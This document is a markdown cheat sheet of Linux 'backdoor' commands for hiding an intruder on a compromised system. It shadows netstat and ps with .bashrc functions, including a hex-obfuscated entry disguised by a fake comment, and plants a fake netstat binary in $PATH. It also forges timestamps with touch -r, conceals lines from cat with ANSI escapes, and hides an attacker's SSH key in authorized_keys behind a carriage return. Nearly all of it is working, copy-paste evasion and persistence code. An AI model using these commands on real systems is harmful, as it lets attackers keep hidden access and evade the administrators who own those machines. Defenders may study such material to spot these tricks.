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backdoor-linux-commands.md

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Backdoor Linux Commands

Hide a Network Connection

The trick is to hijack netstat and use grep to filter out our connection. This example filters any connection on port 31337 or ip 1.2.3.4. The same should be done for ss (a netstat alternative).

Method 1 - Hiding a connection with bash-function in ~/.bashrc

Cut & paste this to add the line to ~/.bashrc

echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

Or cut & paste this for an obfuscated entry to ~/.bashrc:

X='netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }'
echo "eval \$(echo $(echo "$X" | xxd -ps -c1024)|xxd -r -ps) #Initialize PRNG" >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

The obfuscated entry to ~/.bashrc will look like this:

eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG

Method 2 - Hiding a connection with a binary in $PATH

Create a fake netstat binary in /usr/local/sbin. On a default Debian (and most Linux) the PATH variables (echo $PATH) lists /usr/local/sbin before /usr/bin. This means that our hijacking binary /usr/local/sbin/netstat will be executed instead of /usr/bin/netstat.

echo -e "#! /bin/bash
exec /usr/bin/netstat \"\$@\" | grep -Fv -e :22 -e 1.2.3.4" >/usr/local/sbin/netstat \
&& chmod 755 /usr/local/sbin/netstat \
&& touch -r /usr/bin/netstat /usr/local/sbin/netstat

(thank you iamaskid)

Hide a process as user

Continuing from "Hiding a connection" the same technique can be used to hide a process. This example hides the nmap process and also takes care that our grep does not show up in the process list by renaming it to GREP:

echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap  -e GREP; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

Hide from cat

ANSI escape characters or a simple (carriage return) can be used to hide from cat and others.

Hide the last command (example: id) in ~/.bashrc:

echo -e "id #\\033[2K\\033[1A" >>~/.bashrc
### The ANSI escape sequence \\033[2K erases the line. The next sequence \\033[1A
### moves the cursor 1 line up.
### The '#' after the command 'id' is a comment and is needed so that bash still
### executes the 'id' but ignores the two ANSI escape sequences.

Note: We use echo -e to convert \\033 to the ANSI escape character (hex 0x1b).

Adding a (carriage return) goes a long way to hide your ssh key from cat:

echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\r'"$(<authorized_keys)" >authorized_keys
### This adds our key as the first key and 'cat authorized_keys' won't show
### it. The $'\r' is a bash special to create a \r (carriage return).